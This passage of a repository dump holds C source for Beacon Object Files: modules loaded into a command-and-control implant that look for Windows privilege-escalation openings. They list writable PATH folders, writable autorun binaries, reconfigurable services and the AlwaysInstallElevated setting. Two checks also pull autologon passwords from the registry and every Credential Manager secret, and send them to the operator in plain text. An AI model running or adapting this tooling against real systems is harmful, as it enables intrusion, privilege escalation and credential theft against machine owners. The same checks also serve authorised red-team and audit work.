KERNEL32$CloseHandle(hToken);\n                    }\n                    MSVCRT$free(security);\n                }\n                \n            }\n        }\n        pathToken = MSVCRT$strtok(NULL, \";\");\n    }\n    ADVAPI32$RegCloseKey(hKey);\n    BeaconPrintf(CALLBACK_OUTPUT,\"[WRITABLE_PATH] Found %d writable directories in PATH\\n\", NumOfWritablePaths);\n}\n"
  },
  {
    "path": "SAL-BOF/privcheck/modifiableautorun.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n\nvoid go() {\n    HKEY hKey = NULL;\n    LONG lResult = 0;\n    char szValueName[256];\n    char szValueData[512];\n    char szPath[512];\n    DWORD dwValueNameSize = 0;\n    DWORD dwValueDataSize = 0;\n    DWORD dwType = 0;\n    DWORD dwIndex = 0;\n    int nFound = 0;\n    int p = 0;\n    int q = 0;\n    HANDLE hFile = INVALID_HANDLE_VALUE;\n\n    const char* pszHives[] = { \"HKLM\", \"HKCU\" };\n    HKEY hRoots[] = { HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER };\n\n    const char* pszSubkeys[] = {\n        \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\n        \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\",\n        \"SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\n        \"SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\"\n    };\n\n    for (int i = 0; i < 2; i++) {\n        for (int k = 0; k < 4; k++) {\n            lResult = ADVAPI32$RegOpenKeyExA(hRoots[i], pszSubkeys[k], 0, KEY_READ, &hKey);\n            if (lResult != ERROR_SUCCESS) {\n                continue;\n            }\n\n            dwIndex = 0;\n            while (1) {\n                dwValueNameSize = sizeof(szValueName);\n                dwValueDataSize = sizeof(szValueData);\n\n                lResult = ADVAPI32$RegEnumValueA(hKey, dwIndex, szValueName, &dwValueNameSize,\n                    NULL, &dwType, (LPBYTE)szValueData, &dwValueDataSize);\n\n                if (lResult != ERROR_SUCCESS) {\n                    break;\n                }\n\n                if (dwType == REG_SZ || dwType == REG_EXPAND_SZ) {\n                    szValueData[dwValueDataSize] = '\\0';\n\n                    p = 0;\n                    q = 0;\n\n                    while (szValueData[p] == ' ') p++;\n\n                    if (szValueData[p] == '\"') {\n                        p++;\n                        while (szValueData[p] != '\\0' && szValueData[p] != '\"' && q < 510) {\n                            szPath[q++] = szValueData[p++];\n                        }\n                    } else {\n                        while (szValueData[p] != '\\0' && szValueData[p] != ' ' && q < 510) {\n                            szPath[q++] = szValueData[p++];\n                        }\n                    }\n                    szPath[q] = '\\0';\n\n                    hFile = KERNEL32$CreateFileA(szPath, GENERIC_WRITE,\n                        FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,\n                        FILE_ATTRIBUTE_NORMAL, NULL);\n\n                    if (hFile != INVALID_HANDLE_VALUE) {\n                        KERNEL32$CloseHandle(hFile);\n                        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTORUN] WRITABLE: %s\\\\%s\\n\", pszHives[i], pszSubkeys[k]);\n                        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTORUN]   Name: %s\\n\", szValueName);\n                        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTORUN]   Path: %s\\n\", szValueData);\n                        nFound++;\n                    }\n                }\n\n                dwIndex++;\n            }\n\n            ADVAPI32$RegCloseKey(hKey);\n            hKey = NULL;\n        }\n    }\n\n    if (nFound > 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTORUN] VULNERABLE: %d modifiable autorun(s) found!\\n\", nFound);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTORUN] Not vulnerable: No modifiable autoruns found\\n\");\n    }\n}\n"
  },
  {
    "path": "SAL-BOF/privcheck/modifiablesvc.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n\nBOOL HasModifyRights(ACCESS_MASK mask) {\n    if (mask & SERVICE_CHANGE_CONFIG)  return TRUE;\n    if (mask & WRITE_DAC)              return TRUE;\n    if (mask & WRITE_OWNER)            return TRUE;\n    if (mask & GENERIC_ALL)            return TRUE;\n    if (mask & GENERIC_WRITE)          return TRUE;\n    if (mask & SERVICE_ALL_ACCESS)     return TRUE;\n    return FALSE;\n}\n\nvoid go() {\n    SC_HANDLE hSCManager = NULL;\n    SC_HANDLE hService = NULL;\n    HANDLE hToken = NULL;\n    HANDLE hHeap = NULL;\n    LPBYTE pServices = NULL;\n    LPENUM_SERVICE_STATUS_PROCESSA pServiceStatus = NULL;\n    PSECURITY_DESCRIPTOR pSD = NULL;\n    LPQUERY_SERVICE_CONFIGA pConfig = NULL;\n    PTOKEN_USER pTokenUser = NULL;\n    DWORD dwBytesNeeded = 0;\n    DWORD dwServicesReturned = 0;\n    DWORD dwResumeHandle = 0;\n    DWORD dwBufferSize = 0;\n    DWORD dwSDSize = 0;\n    DWORD dwConfigSize = 0;\n    DWORD dwTokenInfoSize = 0;\n    int nVulnerable = 0;\n    BOOL bDaclPresent = FALSE;\n    BOOL bDaclDefaulted = FALSE;\n    PACL pDacl = NULL;\n\n    hHeap = KERNEL32$GetProcessHeap();\n\n    if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &hToken)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC] Failed to open process token. Error: %lu\\n\", KERNEL32$GetLastError());\n        return;\n    }\n\n    ADVAPI32$GetTokenInformation(hToken, TokenUser, NULL, 0, &dwTokenInfoSize);\n    pTokenUser = (PTOKEN_USER)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwTokenInfoSize);\n    if (!pTokenUser) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC] Memory allocation failed\\n\");\n        goto cleanup;\n    }\n\n    if (!ADVAPI32$GetTokenInformation(hToken, TokenUser, pTokenUser, dwTokenInfoSize, &dwTokenInfoSize)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC] Failed to get token user. Error: %lu\\n\", KERNEL32$GetLastError());\n        goto cleanup;\n    }\n\n    hSCManager = ADVAPI32$OpenSCManagerA(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);\n    if (!hSCManager) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC] Failed to open Service Control Manager. Error: %lu\\n\", KERNEL32$GetLastError());\n        goto cleanup;\n    }\n\n    ADVAPI32$EnumServicesStatusExA(hSCManager, SC_ENUM_PROCESS_INFO, SERVICE_WIN32,\n        SERVICE_STATE_ALL, NULL, 0, &dwBytesNeeded, &dwServicesReturned, &dwResumeHandle, NULL);\n\n    dwBufferSize = dwBytesNeeded;\n    pServices = (LPBYTE)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwBufferSize);\n    if (!pServices) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC] Memory allocation failed\\n\");\n        goto cleanup;\n    }\n\n    dwResumeHandle = 0;\n    if (!ADVAPI32$EnumServicesStatusExA(hSCManager, SC_ENUM_PROCESS_INFO, SERVICE_WIN32,\n        SERVICE_STATE_ALL, pServices, dwBufferSize, &dwBytesNeeded, &dwServicesReturned, &dwResumeHandle, NULL)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC] Failed to enumerate services. Error: %lu\\n\", KERNEL32$GetLastError());\n        goto cleanup;\n    }\n\n    pServiceStatus = (LPENUM_SERVICE_STATUS_PROCESSA)pServices;\n\n    for (DWORD i = 0; i < dwServicesReturned; i++) {\n        hService = ADVAPI32$OpenServiceA(hSCManager, pServiceStatus[i].lpServiceName, READ_CONTROL | SERVICE_QUERY_CONFIG);\n        if (!hService) continue;\n\n        dwSDSize = 0;\n        ADVAPI32$QueryServiceObjectSecurity(hService, DACL_SECURITY_INFORMATION, NULL, 0, &dwSDSize);\n        if (dwSDSize == 0) {\n            ADVAPI32$CloseServiceHandle(hService);\n            hService = NULL;\n            continue;\n        }\n\n        pSD = (PSECURITY_DESCRIPTOR)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwSDSize);\n        if (!pSD) {\n            ADVAPI32$CloseServiceHandle(hService);\n            hService = NULL;\n            continue;\n        }\n\n        if (!ADVAPI32$QueryServiceObjectSecurity(hService, DACL_SECURITY_INFORMATION, pSD, dwSDSize, &dwSDSize)) {\n            KERNEL32$HeapFree(hHeap, 0, pSD);\n            pSD = NULL;\n            ADVAPI32$CloseServiceHandle(hService);\n            hService = NULL;\n            continue;\n        }\n\n        pDacl = NULL;\n        if (!ADVAPI32$GetSecurityDescriptorDacl(pSD, &bDaclPresent, &pDacl, &bDaclDefaulted) || !bDaclPresent || !pDacl) {\n            KERNEL32$HeapFree(hHeap, 0, pSD);\n            pSD = NULL;\n            ADVAPI32$CloseServiceHandle(hService);\n            hService = NULL;\n            continue;\n        }\n\n        for (DWORD j = 0; j < pDacl->AceCount; j++) {\n            PACE_HEADER pAceHeader = NULL;\n            if (!ADVAPI32$GetAce(pDacl, j, (LPVOID*)&pAceHeader)) continue;\n            if (pAceHeader->AceType != ACCESS_ALLOWED_ACE_TYPE) continue;\n\n            PACCESS_ALLOWED_ACE pAce = (PACCESS_ALLOWED_ACE)pAceHeader;\n            PSID pAceSid = (PSID)&pAce->SidStart;\n\n            if (!HasModifyRights(pAce->Mask)) continue;\n\n            BOOL bMatch = FALSE;\n            if (ADVAPI32$EqualSid(pAceSid, pTokenUser->User.Sid)) {\n                bMatch = TRUE;\n            } else {\n                ADVAPI32$CheckTokenMembership(hToken, pAceSid, &bMatch);\n            }\n\n            if (bMatch) {\n                dwConfigSize = 0;\n                ADVAPI32$QueryServiceConfigA(hService, NULL, 0, &dwConfigSize);\n                if (dwConfigSize > 0) {\n                    pConfig = (LPQUERY_SERVICE_CONFIGA)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwConfigSize);\n                    if (pConfig && ADVAPI32$QueryServiceConfigA(hService, pConfig, dwConfigSize, &dwConfigSize)) {\n                        BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC] VULNERABLE: %s\\n\", pServiceStatus[i].lpServiceName);\n                        BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC]   Display: %s\\n\", pConfig->lpDisplayName ? pConfig->lpDisplayName : \"N/A\");\n                        BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC]   Binary:  %s\\n\", pConfig->lpBinaryPathName ? pConfig->lpBinaryPathName : \"N/A\");\n                        nVulnerable++;\n                    }\n                    if (pConfig) {\n                        KERNEL32$HeapFree(hHeap, 0, pConfig);\n                        pConfig = NULL;\n                    }\n                }\n                break;\n            }\n        }\n\n        KERNEL32$HeapFree(hHeap, 0, pSD);\n        pSD = NULL;\n        ADVAPI32$CloseServiceHandle(hService);\n        hService = NULL;\n    }\n\n    if (nVulnerable > 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC] Found %d modifiable service(s)!\\n\", nVulnerable);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC] No modifiable services found\\n\");\n    }\n\ncleanup:\n    if (pConfig) KERNEL32$HeapFree(hHeap, 0, pConfig);\n    if (pSD) KERNEL32$HeapFree(hHeap, 0, pSD);\n    if (pServices) KERNEL32$HeapFree(hHeap, 0, pServices);\n    if (pTokenUser) KERNEL32$HeapFree(hHeap, 0, pTokenUser);\n    if (hService) ADVAPI32$CloseServiceHandle(hService);\n    if (hSCManager) ADVAPI32$CloseServiceHandle(hSCManager);\n    if (hToken) KERNEL32$CloseHandle(hToken);\n}\n"
  },
  {
    "path": "SAL-BOF/privcheck/privcheck_all.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include <string.h>\n#include <shlwapi.h>\n#include <wincrypt.h>\n#include <wincred.h>\n#include <processthreadsapi.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#include \"vulndrivers.h\"\n\n#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof(arr[0]))\n#define BUFSIZE     1024\n#define SHA256LEN   32\n#define SHA1LEN     20\n#define MD5LEN      16\n\n/* ============================================================\n * CHECK: AlwaysInstallElevated\n * ============================================================ */\nvoid CheckAlwaysInstallElevated() {\n    HKEY hKey;\n    DWORD alwaysInstallElevated = 0;\n    DWORD bufferSize = sizeof(DWORD);\n    const TCHAR* subkeys[] = {\n        TEXT(\"HKEY_CURRENT_USER\"),\n        TEXT(\"HKEY_LOCAL_MACHINE\")\n    };\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"=== AlwaysInstallElevated Check ===\\n\");\n\n    for (int i = 0; i < ARRAY_SIZE(subkeys); i++) {\n        if (ADVAPI32$RegOpenKeyExA((i == 0) ? HKEY_CURRENT_USER : HKEY_LOCAL_MACHINE,\n            TEXT(\"Software\\\\Policies\\\\Microsoft\\\\Windows\\\\Installer\"),\n            0, KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS) {\n\n            if (ADVAPI32$RegQueryValueExA(hKey, TEXT(\"AlwaysInstallElevated\"),\n                NULL, NULL, (LPBYTE)&alwaysInstallElevated, &bufferSize) == ERROR_SUCCESS) {\n                if (alwaysInstallElevated == 1) {\n                    BeaconPrintf(CALLBACK_OUTPUT, \"[ALWAYS_INSTALL_ELEVATED][%s] Always Install Elevated Check Result: Vulnerable\\n\", subkeys[i]);\n                } else {\n                    BeaconPrintf(CALLBACK_OUTPUT, \"[ALWAYS_INSTALL_ELEVATED][%s] Always Install Elevated Check Result: Not Vulnerable\\n\", subkeys[i]);\n                }\n            } else {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[ALWAYS_INSTALL_ELEVATED][%s] Unable to query AlwaysInstallElevated value.\\n\", subkeys[i]);\n            }\n            ADVAPI32$RegCloseKey(hKey);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[ALWAYS_INSTALL_ELEVATED][%s] Registry key for AlwaysInstallElevated does not seem to exist.\\n\", subkeys[i]);\n        }\n    }\n}\n\n/* ============================================================\n * CHECK: Autologon\n * ============================================================ */\nvoid CheckAutologon() {\n    HKEY hKey = NULL;\n    DWORD dwSize = 0;\n    DWORD dwType = 0;\n    char szAutoLogon[16] = {0};\n    char szUserName[256] = {0};\n    char szDomain[256] = {0};\n    char szPassword[256] = {0};\n    BOOL bAutoLogonFound = FALSE;\n    BOOL bUserNameFound = FALSE;\n    BOOL bDomainFound = FALSE;\n    BOOL bPasswordFound = FALSE;\n    LONG lResult = 0;\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"=== Autologon Check ===\\n\");\n\n    lResult = ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE,\n        \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\", 0, KEY_READ, &hKey);\n    if (lResult != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] Failed to open Winlogon registry key (error: 0x%lX)\\n\", lResult);\n        return;\n    }\n\n    dwSize = sizeof(szAutoLogon);\n    lResult = ADVAPI32$RegQueryValueExA(hKey, \"AutoAdminLogon\", NULL, &dwType, (LPBYTE)szAutoLogon, &dwSize);\n    if (lResult == ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] AutoAdminLogon: %s\\n\", szAutoLogon);\n        bAutoLogonFound = TRUE;\n    }\n\n    dwSize = sizeof(szDomain);\n    lResult = ADVAPI32$RegQueryValueExA(hKey, \"DefaultDomainName\", NULL, &dwType, (LPBYTE)szDomain, &dwSize);\n    if (lResult == ERROR_SUCCESS && szDomain[0] != '\\0') {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] DefaultDomainName: %s\\n\", szDomain);\n        bDomainFound = TRUE;\n    }\n\n    dwSize = sizeof(szUserName);\n    lResult = ADVAPI32$RegQueryValueExA(hKey, \"DefaultUserName\", NULL, &dwType, (LPBYTE)szUserName, &dwSize);\n    if (lResult == ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] DefaultUserName: %s\\n\", szUserName);\n        bUserNameFound = TRUE;\n    }\n\n    dwSize = sizeof(szPassword);\n    lResult = ADVAPI32$RegQueryValueExA(hKey, \"DefaultPassword\", NULL, &dwType, (LPBYTE)szPassword, &dwSize);\n    if (lResult == ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] DefaultPassword: %s\\n\", szPassword);\n        bPasswordFound = TRUE;\n    }\n\n    if (!bAutoLogonFound) BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] AutoAdminLogon: Not Found\\n\");\n    if (!bUserNameFound)  BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] DefaultUserName: Not Found\\n\");\n    if (!bPasswordFound)  BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] DefaultPassword: Not Found\\n\");\n\n    if (bAutoLogonFound && szAutoLogon[0] == '1' && bPasswordFound) {\n        if (bDomainFound) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] VULNERABLE: Autologon credentials stored: %s\\\\%s:%s\\n\", szDomain, szUserName, szPassword);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] VULNERABLE: Autologon credentials stored: %s:%s\\n\", szUserName, szPassword);\n        }\n    } else if (bAutoLogonFound && szAutoLogon[0] == '1') {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] AutoAdminLogon enabled but no DefaultPassword found.\\n\");\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] Not vulnerable: Autologon not enabled or no credentials stored\\n\");\n    }\n\n    ADVAPI32$RegCloseKey(hKey);\n}\n\n/* ============================================================\n * CHECK: CredentialManager\n * ============================================================ */\nvoid CheckCredentialManager() {\n    DWORD dwCount = 0;\n    PCREDENTIALA *pCredentials = NULL;\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"=== Credential Manager Check ===\\n\");\n\n    if (!ADVAPI32$CredEnumerateA(NULL, 0, &dwCount, &pCredentials)) {\n        DWORD dwErr = KERNEL32$GetLastError();\n        if (dwErr == ERROR_NOT_FOUND) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[CREDMANAGER] No credentials found in Credential Manager\\n\");\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[CREDMANAGER] Error enumerating credentials: 0x%lX\\n\", dwErr);\n        }\n        return;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[CREDMANAGER] Found %lu credential(s)\\n\", dwCount);\n    for (DWORD i = 0; i < dwCount; i++) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[CREDMANAGER] --- Credential [%lu] ---\\n\", i + 1);\n        if (pCredentials[i]->TargetName != NULL)\n            BeaconPrintf(CALLBACK_OUTPUT, \"[CREDMANAGER]   Target: %s\\n\", pCredentials[i]->TargetName);\n        if (pCredentials[i]->UserName != NULL)\n            BeaconPrintf(CALLBACK_OUTPUT, \"[CREDMANAGER]   User:   %s\\n\", pCredentials[i]->UserName);\n        if (pCredentials[i]->CredentialBlobSize > 0 && pCredentials[i]->CredentialBlob != NULL) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[CREDMANAGER]   Secret: %.*s\\n\",\n                pCredentials[i]->CredentialBlobSize, (char*)pCredentials[i]->CredentialBlob);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[CREDMANAGER]   Secret: <empty or protected>\\n\");\n        }\n    }\n    ADVAPI32$CredFree(pCredentials);\n}\n\n/* ============================================================\n * CHECK: HijackablePath\n * ============================================================ */\nvoid CheckHijackablePath() {\n    HKEY hKey;\n    LONG openResult;\n    LONG queryResult;\n    DWORD valueType;\n    char data[1024];\n    DWORD dataSize = sizeof(data);\n    DWORD len;\n    HANDLE hToken, hImpersonatedToken;\n    DWORD GenericAccess = FILE_ADD_FILE;\n    int NumOfWritablePaths = 0;\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"=== Hijackable Path Check ===\\n\");\n\n    openResult = ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE,\n        \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Environment\", 0, KEY_READ, &hKey);\n    if (openResult != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[WRITABLE_PATH] Error opening registry key: %d\\n\", openResult);\n        return;\n    }\n\n    queryResult = ADVAPI32$RegQueryValueExA(hKey, \"Path\", NULL, &valueType, (LPBYTE)data, &dataSize);\n    if (queryResult != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[WRITABLE_PATH] Error querying registry value: %d\\n\", queryResult);\n        ADVAPI32$RegCloseKey(hKey);\n        return;\n    }\n\n    char* pathToken = MSVCRT$strtok(data, \";\");\n    while (pathToken != NULL) {\n        DWORD attributes = KERNEL32$GetFileAttributesA(pathToken);\n        if (attributes != INVALID_FILE_ATTRIBUTES && (attributes & FILE_ATTRIBUTE_DIRECTORY)) {\n            if (!ADVAPI32$GetFileSecurityA(pathToken, OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL, 0, &len) && ERROR_INSUFFICIENT_BUFFER == KERNEL32$GetLastError()) {\n                PSECURITY_DESCRIPTOR security = MSVCRT$malloc(len);\n                if (security && ADVAPI32$GetFileSecurityA(pathToken, OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, security, len, &len)) {\n                    if (ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_DUPLICATE | STANDARD_RIGHTS_READ, &hToken)) {\n                        if (ADVAPI32$DuplicateToken(hToken, SecurityImpersonation, &hImpersonatedToken)) {\n                            GENERIC_MAPPING mapping = { FILE_GENERIC_READ, FILE_GENERIC_WRITE, FILE_GENERIC_EXECUTE, FILE_ALL_ACCESS };\n                            PRIVILEGE_SET privileges = { 0 };\n                            DWORD grantedAccess = 0, privilegesLength = sizeof(privileges);\n                            BOOL result = FALSE;\n                            if (ADVAPI32$AccessCheck(security, hImpersonatedToken, GenericAccess, &mapping, &privileges, &privilegesLength, &grantedAccess, &result)) {\n                                if (result) {\n                                    BeaconPrintf(CALLBACK_OUTPUT, \"[WRITABLE_PATH] Found writable directory in PATH: %s\\n\", pathToken);\n                                    NumOfWritablePaths++;\n                                }\n                            }\n                            KERNEL32$CloseHandle(hImpersonatedToken);\n                        }\n                        KERNEL32$CloseHandle(hToken);\n                    }\n                    MSVCRT$free(security);\n                }\n            }\n        }\n        pathToken = MSVCRT$strtok(NULL, \";\");\n    }\n    ADVAPI32$RegCloseKey(hKey);\n    BeaconPrintf(CALLBACK_OUTPUT, \"[WRITABLE_PATH] Found %d writable directories in PATH\\n\", NumOfWritablePaths);\n}\n\n/* ============================================================\n * CHECK: ModifiableAutorun\n * ============================================================ */\nvoid CheckModifiableAutorun() {\n    HKEY hKey = NULL;\n    LONG lResult = 0;\n    char szValueName[256];\n    char szValueData[512];\n    char szPath[512];\n    DWORD dwValueNameSize, dwValueDataSize, dwType, dwIndex;\n    int nFound = 0;\n    int p, q;\n    HANDLE hFile;\n\n    const char* pszHives[] = { \"HKLM\", \"HKCU\" };\n    HKEY hRoots[] = { HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER };\n    const char* pszSubkeys[] = {\n        \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\n        \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\",\n        \"SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\n        \"SOFTWARE\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\"\n    };\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"=== Modifiable Autorun Check ===\\n\");\n\n    for (int i = 0; i < 2; i++) {\n        for (int k = 0; k < 4; k++) {\n            lResult = ADVAPI32$RegOpenKeyExA(hRoots[i], pszSubkeys[k], 0, KEY_READ, &hKey);\n            if (lResult != ERROR_SUCCESS) continue;\n\n            dwIndex = 0;\n            while (1) {\n                dwValueNameSize = sizeof(szValueName);\n                dwValueDataSize = sizeof(szValueData);\n                lResult = ADVAPI32$RegEnumValueA(hKey, dwIndex, szValueName, &dwValueNameSize,\n                    NULL, &dwType, (LPBYTE)szValueData, &dwValueDataSize);\n                if (lResult != ERROR_SUCCESS) break;\n\n                if (dwType == REG_SZ || dwType == REG_EXPAND_SZ) {\n                    szValueData[dwValueDataSize] = '\\0';\n                    p = 0; q = 0;\n                    while (szValueData[p] == ' ') p++;\n                    if (szValueData[p] == '\"') {\n                        p++;\n                        while (szValueData[p] != '\\0' && szValueData[p] != '\"' && q < 510) szPath[q++] = szValueData[p++];\n                    } else {\n                        while (szValueData[p] != '\\0' && szValueData[p] != ' ' && q < 510) szPath[q++] = szValueData[p++];\n                    }\n                    szPath[q] = '\\0';\n\n                    hFile = KERNEL32$CreateFileA(szPath, GENERIC_WRITE,\n                        FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n                    if (hFile != INVALID_HANDLE_VALUE) {\n                        KERNEL32$CloseHandle(hFile);\n                        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTORUN] WRITABLE: %s\\\\%s\\n\", pszHives[i], pszSubkeys[k]);\n                        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTORUN]   Name: %s\\n\", szValueName);\n                        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTORUN]   Path: %s\\n\", szValueData);\n                        nFound++;\n                    }\n                }\n                dwIndex++;\n            }\n            ADVAPI32$RegCloseKey(hKey);\n            hKey = NULL;\n        }\n    }\n\n    if (nFound > 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTORUN] VULNERABLE: %d modifiable autorun(s) found!\\n\", nFound);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTORUN] Not vulnerable: No modifiable autoruns found\\n\");\n    }\n}\n\n/* ============================================================\n * CHECK: ModifiableService\n * ============================================================ */\nstatic BOOL HasModifyRights(ACCESS_MASK mask) {\n    if (mask & SERVICE_CHANGE_CONFIG)  return TRUE;\n    if (mask & WRITE_DAC)              return TRUE;\n    if (mask & WRITE_OWNER)            return TRUE;\n    if (mask & GENERIC_ALL)            return TRUE;\n    if (mask & GENERIC_WRITE)          return TRUE;\n    if (mask & SERVICE_ALL_ACCESS)     return TRUE;\n    return FALSE;\n}\n\nvoid CheckModifiableService() {\n    SC_HANDLE hSCManager = NULL;\n    SC_HANDLE hService = NULL;\n    HANDLE hToken = NULL;\n    HANDLE hHeap = NULL;\n    LPBYTE pServices = NULL;\n    LPENUM_SERVICE_STATUS_PROCESSA pServiceStatus = NULL;\n    PSECURITY_DESCRIPTOR pSD = NULL;\n    LPQUERY_SERVICE_CONFIGA pConfig = NULL;\n    PTOKEN_USER pTokenUser = NULL;\n    DWORD dwBytesNeeded = 0, dwServicesReturned = 0, dwResumeHandle = 0;\n    DWORD dwBufferSize = 0, dwSDSize = 0, dwConfigSize = 0, dwTokenInfoSize = 0;\n    int nVulnerable = 0;\n    BOOL bDaclPresent = FALSE, bDaclDefaulted = FALSE;\n    PACL pDacl = NULL;\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"=== Modifiable Service Check ===\\n\");\n\n    hHeap = KERNEL32$GetProcessHeap();\n\n    if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &hToken)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC] Failed to open process token. Error: %lu\\n\", KERNEL32$GetLastError());\n        return;\n    }\n\n    ADVAPI32$GetTokenInformation(hToken, TokenUser, NULL, 0, &dwTokenInfoSize);\n    pTokenUser = (PTOKEN_USER)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwTokenInfoSize);\n    if (!pTokenUser || !ADVAPI32$GetTokenInformation(hToken, TokenUser, pTokenUser, dwTokenInfoSize, &dwTokenInfoSize)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC] Failed to get token user\\n\");\n        goto modsvc_cleanup;\n    }\n\n    hSCManager = ADVAPI32$OpenSCManagerA(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);\n    if (!hSCManager) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC] Failed to open SCM. Error: %lu\\n\", KERNEL32$GetLastError());\n        goto modsvc_cleanup;\n    }\n\n    ADVAPI32$EnumServicesStatusExA(hSCManager, SC_ENUM_PROCESS_INFO, SERVICE_WIN32,\n        SERVICE_STATE_ALL, NULL, 0, &dwBytesNeeded, &dwServicesReturned, &dwResumeHandle, NULL);\n    dwBufferSize = dwBytesNeeded;\n    pServices = (LPBYTE)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwBufferSize);\n    if (!pServices) goto modsvc_cleanup;\n\n    dwResumeHandle = 0;\n    if (!ADVAPI32$EnumServicesStatusExA(hSCManager, SC_ENUM_PROCESS_INFO, SERVICE_WIN32,\n        SERVICE_STATE_ALL, pServices, dwBufferSize, &dwBytesNeeded, &dwServicesReturned, 